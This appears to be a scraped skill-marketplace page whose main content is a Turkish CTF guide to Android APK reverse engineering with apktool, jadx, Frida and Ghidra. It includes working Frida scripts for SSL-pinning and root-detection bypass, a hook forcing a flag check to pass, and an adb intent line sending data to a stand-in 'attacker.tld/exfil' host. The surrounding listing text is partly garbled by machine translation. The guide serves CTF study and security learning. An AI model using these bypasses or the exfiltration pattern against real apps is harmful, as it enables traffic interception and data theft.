21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
日本語の概要は準備中です。原文の説明を表示しています。
Android APK reverse engineering — apktool, jadx, Frida dynamic instrumentation, native .so analizi, root/SSL bypass
インストールする前に、エージェントに与えられる指示の中身を確認できます。
APK = ZIP arşivi. İçerikte Dalvik bytecode (classes.dex), kaynak (res/), native lib (lib/<arch>/*.so), manifest (AndroidManifest.xml). Hedef: flag'i çıkar.
.apk dosyası verilmiş# Temel araç seti
sudo apt install -y default-jdk python3 unzip
pip install frida-tools
# apktool — decompile/recompile
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar
echo '#!/bin/sh' > /usr/local/bin/apktool
echo 'java -jar /path/to/apktool_2.9.3.jar "$@"' >> /usr/local/bin/apktool
chmod +x /usr/local/bin/apktool
# jadx — Java decompile (GUI + CLI)
wget https://github.com/skylot/jadx/releases/download/v1.5.0/jadx-1.5.0.zip
unzip jadx-1.5.0.zip -d jadx
ln -s $PWD/jadx/bin/jadx /usr/local/bin/jadx
# dex2jar — alternatif
wget https://github.com/pxb1988/dex2jar/releases/download/v2.4/dex-tools-v2.4.zip
# androguard — Python lib
pip install androguard
# Frida — dynamic instrumentation
pip install frida-tools
# Cihaza server push (genshin/Android emulator)
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"
# AVD ile testing
emulator -avd Pixel_API_30 -writable-system
adb root
adb remount
# Method 1: apktool (en kapsamlı)
apktool d -o decoded app.apk
# Method 2: unzip (raw)
unzip app.apk -d app_unzip
# Yapı
ls decoded/
# AndroidManifest.xml res/ smali/ unknown/ apktool.yml lib/
cat decoded/AndroidManifest.xml | head -50
Önemli alanlar:
<application
android:debuggable="true" <!-- Debug mode aktif mi -->
android:allowBackup="true"
android:networkSecurityConfig="@xml/network_security_config">
<activity android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name=".HiddenActivity"
android:exported="true"> <!-- Hidden activity → direkt çağrı! -->
</activity>
<service android:name=".SecretService" />
<receiver android:name=".BootReceiver" />
<provider android:name=".DataProvider"
android:exported="true" /> <!-- Content provider data leak -->
</application>
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
# CLI
jadx -d jadx_out app.apk
# GUI
jadx-gui app.apk
jadx_out/sources/'da Java kaynak (geri çevrilmiş) bulunur. Önce paket adına bak:
find jadx_out/sources -name "MainActivity.java"
grep -r "flag" jadx_out/sources/
grep -r "secret" jadx_out/sources/
grep -r "password" jadx_out/sources/
grep -r "API_KEY" jadx_out/sources/
# Smali = Dalvik bytecode'un human-readable hali
cat decoded/smali/com/example/app/MainActivity.smali
# strings.xml (kaynak string'ler — flag burada olabilir!)
cat decoded/res/values/strings.xml
# Tüm hardcoded string'ler
strings app.apk | grep -i flag
strings decoded/classes.dex | grep -i flag
file decoded/lib/arm64-v8a/libnative.so
# ELF olduğu için standart araçlar
strings decoded/lib/arm64-v8a/libnative.so | grep flag
# Ghidra / IDA ile aç (JNI fonksiyonları için)
# Tipik JNI fonksiyon ismi: Java_com_example_app_MainActivity_checkFlag
// MainActivity.java
private boolean checkFlag(String input) {
return input.equals("CTF{android_easy_flag}");
}
grep "CTF{" jadx_out/ yeter.
private String secret = "Q1RGe2VuY29kZWRfZmxhZ30="; // Base64
byte[] decoded = Base64.decode(secret, 0);
return new String(decoded);
echo "Q1RGe2VuY29kZWRfZmxhZ30=" | base64 -d.
// XOR ile şifreli
byte[] enc = {0x12, 0x34, 0x56, ...};
byte[] key = {0x41, 0x41, 0x41};
byte[] dec = new byte[enc.length];
for (int i = 0; i < enc.length; i++) {
dec[i] = enc[i] ^ key[i % key.length];
}
Decompile et, key + ciphertext oku, Python'da reproduksiyon yap.
// MainActivity.java
public native String getFlag();
public native boolean verifyFlag(String input);
static { System.loadLibrary("native"); }
.so dosyasını Ghidra/IDA'da aç:
Java_com_example_app_MainActivity_getFlag fonksiyonunu bul// HTTP/HTTPS sunucudan flag çekiyor
HttpsURLConnection conn = ...;
conn.setRequestProperty("X-Secret", "magic_value");
// Flag response'da gelir
Frida ile hook → request/response intercept.
// frida_hook.js
Java.perform(function () {
var MainActivity = Java.use('com.example.app.MainActivity');
// checkFlag fonksiyonunu hook et
MainActivity.checkFlag.implementation = function (input) {
console.log('[+] checkFlag called with: ' + input);
var result = this.checkFlag(input);
console.log('[+] returned: ' + result);
return true; // her zaman doğru de
};
// Tüm string equality kontrolünü görmek için:
var String = Java.use('java.lang.String');
String.equals.implementation = function (other) {
console.log('equals(' + this + ', ' + other + ')');
return this.equals(other);
};
});
Kullanım:
frida -U -f com.example.app -l frida_hook.js --no-pause
Bazı uygulamalar Burp/mitmproxy üzerinden trafik göremesin diye cert pinning yapar. Frida ile bypass:
// frida_ssl_unpin.js — universal
// https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/
Java.perform(function () {
// OkHttp3 CertificatePinner
try {
var CertificatePinner = Java.use('okhttp3.CertificatePinner');
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function () {
console.log('[+] SSL pinning bypassed (OkHttp3)');
};
} catch (e) {}
// Conscrypt platform check
try {
var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
TrustManagerImpl.verifyChain.implementation = function (untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) {
console.log('[+] verifyChain bypassed');
return untrustedChain;
};
} catch (e) {}
});
// frida -U -f com.example.app -l frida_ssl_unpin.js --no-pause
// frida_root_bypass.js
Java.perform(function () {
var RootChecker = Java.use('com.example.app.RootChecker');
RootChecker.isRooted.implementation = function () {
console.log('[+] isRooted() bypassed → false');
return false;
};
// File.exists() ile su binary check bypass
var File = Java.use('java.io.File');
File.exists.implementation = function () {
var path = this.getAbsolutePath();
if (path.indexOf('su') !== -1 || path.indexOf('busybox') !== -1) {
console.log('[+] File.exists bypassed: ' + path);
return false;
}
return this.exists();
};
});
# Smali'i edit et (örn. debuggable yap)
apktool d app.apk -o decoded
sed -i 's/android:debuggable="false"/android:debuggable="true"/' decoded/AndroidManifest.xml
# Rebuild
apktool b decoded -o modified.apk
# Sign et (zorunlu — Android imzasız APK yüklenmez)
keytool -genkey -v -keystore my.keystore -alias x -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA-256 -keystore my.keystore modified.apk x
# Install
adb install modified.apk
from androguard.misc import AnalyzeAPK
a, d, dx = AnalyzeAPK("app.apk")
print('Package:', a.get_package())
print('Permissions:', a.get_permissions())
print('Activities:', a.get_activities())
# Belirli class'ı bul
for cls in dx.get_classes():
if "MainActivity" in cls.name:
for meth in cls.get_methods():
print(meth.name)
print(meth.get_method().get_source())
pip install objection
objection -g com.example.app explore
# Aktif komutlar:
> android sslpinning disable
> android root disable
> android hooking list classes
> android hooking watch class com.example.app.MainActivity
JNI fonksiyon isim formatı: Java_<PackageWithUnderscores>_<Class>_<Method>.
Örnek: com.example.app.MainActivity.checkFlag → Java_com_example_app_MainActivity_checkFlag.
# Ghidra/IDA'da .so aç
ghidra decoded/lib/arm64-v8a/libnative.so
# Veya pwntools ile basit decode
objdump -d decoded/lib/arm64-v8a/libnative.so | grep -A 30 "Java_com_example_app"
JNI'da JNIEnv * ilk argüman, jobject ikinci, sonra kullanıcı parametreleri.
// JNI fonksiyon imzası:
JNIEXPORT jboolean JNICALL
Java_com_example_app_MainActivity_checkFlag(JNIEnv *env, jobject thiz, jstring input) {
const char *input_str = (*env)->GetStringUTFChars(env, input, 0);
// ... kontrol
(*env)->ReleaseStringUTFChars(env, input, input_str);
}
exported="true" olan ContentProvider'lar dışarıdan çağrılabilir:
# adb ile direkt query
adb shell content query --uri content://com.example.app.provider/users
# Implicit intent
adb shell am start -a android.intent.action.VIEW \
-d "https://attacker.tld/exfil?data=secret"
classes.dex + classes2.dex + ... — hepsini incele.a, b, c olur. jadx --deobf deobfuscation dener.String.<init> veya StringBuilder hook → decoded string yakalar.ptrace, /proc/self/status TracerPid check. Frida ile bypass.jarsigner yetmez.arm64-v8a varsa lib/arm64-v8a/'ya bak. Emülatörde x86_64 da olabilir.frida-server-15.0.0-android-arm64).APK challenge → unzip + apktool
├── strings.xml + Java code → flag direkt
├── Encoded/encrypted → Python reproduce
├── Native code → Ghidra + reproduce
├── Server check → Frida hook
├── SSL pinning → Frida unpin
├── Multiple stages → z3-constraint-solving skill
└── İleri obfuscation → anti-debug-obfuscation skill
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
日本語の概要は準備中です。原文の説明を表示しています。
AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse
日本語の概要は準備中です。原文の説明を表示しています。
AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.
日本語の概要は準備中です。原文の説明を表示しています。
tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.
日本語の概要は準備中です。原文の説明を表示しています。
Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.
日本語の概要は準備中です。原文の説明を表示しています。
Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.
日本語の概要は準備中です。原文の説明を表示しています。